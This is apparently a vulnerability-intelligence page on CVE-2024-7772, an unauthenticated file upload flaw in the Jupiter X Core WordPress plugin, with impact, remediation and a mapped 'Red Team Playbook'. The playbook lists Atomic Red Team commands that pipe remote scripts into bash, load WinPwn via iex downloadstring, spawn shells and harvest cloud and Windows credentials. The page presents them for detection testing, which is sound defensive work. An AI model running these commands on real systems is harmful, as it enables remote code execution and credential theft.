CVE-2024-7772
Overview
This vulnerability is an arbitrary file upload flaw caused by improper validation of file types within the 'validate' function of the Jupiter X Core WordPress plugin. The root cause lies in the failure to correctly enforce file type restrictions, allowing malicious files to bypass security checks. The affected component is the file upload handling mechanism in all versions up to and including 4.6.5 of the plugin.
Vulnerability Description
The Jupiter X Core plugin for WordPress is vulnerable to arbitrary file uploads due to a mishandled file type validation in the 'validate' function in all versions up to, and including, 4.6.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files to the server hosting the affected WordPress site. This capability can lead to remote code execution, allowing full compromise of the web server and potentially the underlying network. No user interaction or authentication is required (AV:N/AC:L/PR:N/UI:N), increasing the severity and ease of exploitation. This can result in data breaches, service disruption, and unauthorized control over the affected environment.
Solution
Users should upgrade the Jupiter X Core WordPress plugin to a version later than 4.6.5, where the file validation vulnerability has been addressed, as documented in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/5b546d24-82c1-4598-8926-6e73a4784b38) and the official plugin repository changeset 3139412. No alternative workarounds are provided; applying the vendor patch is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Jupiter X Core plugin for WordPress stems from inadequate file type validation within its 'validate' function. This flaw allows unauthenticated users to upload arbitrary files to the server hosting the affected site. The core issue lies in the plugin's failure to properly check the MIME types and file extensions of uploaded files, which can lead to the execution of malicious scripts. As a result, attackers can exploit this vulnerability to upload web shells or other malicious payloads, potentially leading to remote code execution. This oversight in file validation is particularly concerning, as it opens a pathway for attackers to gain unauthorized access to the server environment.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious file, such as a PHP script disguised as an image or document, and upload it to the server using the plugin's upload functionality. Once the malicious file is on the server, the attacker can execute it by navigating to its URL, thereby gaining control over the server and potentially compromising the entire website. This scenario is particularly dangerous because it does not require any form of authentication, making it accessible to any individual with knowledge of the vulnerability. Additionally, attackers could leverage automated tools to scan for vulnerable installations of the plugin, further increasing the likelihood of exploitation.
The real-world impact of this vulnerability can be significant, especially for businesses relying on the affected plugin for their WordPress sites. Successful exploitation can lead to data breaches, defacement of websites, or the installation of malware that could be used for further attacks. The potential for remote code execution means that attackers could manipulate the server to steal sensitive information, disrupt services, or use the compromised server as a launching point for attacks on other systems. This not only poses a risk to the affected organization but also to its customers and partners, leading to reputational damage, loss of customer trust, and potential legal ramifications. The financial implications could be severe, with costs associated with remediation, recovery, and potential regulatory fines.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to update the Jupiter X Core plugin to the latest version, as updates typically include patches for known vulnerabilities. Regularly monitoring and applying security updates for all plugins and themes is essential for maintaining a secure WordPress environment. Additionally, organizations should employ web application firewalls (WAFs) to filter and monitor HTTP traffic to and from the web application, which can help block malicious file uploads. Implementing strict file type validation on the server side, beyond what the plugin provides, can further mitigate the risk of arbitrary file uploads. Finally, conducting regular security audits and penetration testing can help identify and address vulnerabilities before they can be exploited by malicious actors.
In conclusion, the vulnerability in the Jupiter X Core plugin represents a critical security risk that can lead to severe consequences for affected organizations. Understanding the technical details, potential attack vectors, and real-world impacts is essential for developing effective detection and mitigation strategies. By prioritizing security best practices and maintaining vigilance against emerging threats, organizations can better protect their WordPress environments from exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Artbees | Jupiter X Core | All |
cpe:2.3:a:artbees:jupiter_x_core:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7772 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5b546d24-82c1-4598-8926-6e73a4784b38?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/jupiterx-core/trunk/includes/extensions/raven/includes/modules/forms/classes/ajax-handler.php |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3139412/ |